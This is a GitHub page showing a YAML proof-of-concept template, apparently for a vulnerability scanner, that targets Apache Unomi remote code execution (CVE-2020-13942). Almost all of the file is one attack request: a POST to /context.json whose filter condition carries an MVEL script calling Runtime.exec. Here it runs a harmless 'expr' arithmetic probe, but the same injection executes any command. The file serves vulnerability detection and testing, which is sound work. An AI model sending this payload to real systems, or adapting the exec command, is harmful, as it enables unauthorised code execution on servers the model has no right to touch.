forked from cckuailong/reapoc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
unomi-rce-cve-2020-13942.yml
39 lines (39 loc) · 1.4 KB
/
unomi-rce-cve-2020-13942.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
name: poc-yaml-unomi-rce-cve-2020-13942
transport: http
set:
f1: randomInt(800000000, 900000000)
f2: randomInt(800000000, 900000000)
id: randomLowercase(20)
session: randomLowercase(20)
rules:
r1:
request:
method: POST
path: "/context.json"
headers:
Content-Type: application/json
body: |-
{
"filters": [
{
"id": "{{id}}",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"expr {{f1}}+{{f2}}\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "{{session}}"
}
expression: response.status == 200 && response.body.bcontains(bytes(string(id))) && response.body.bcontains(bytes(string(session)))
expression: r1()
detail:
author: 曦shen
links:
- https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/README.zh-cn.md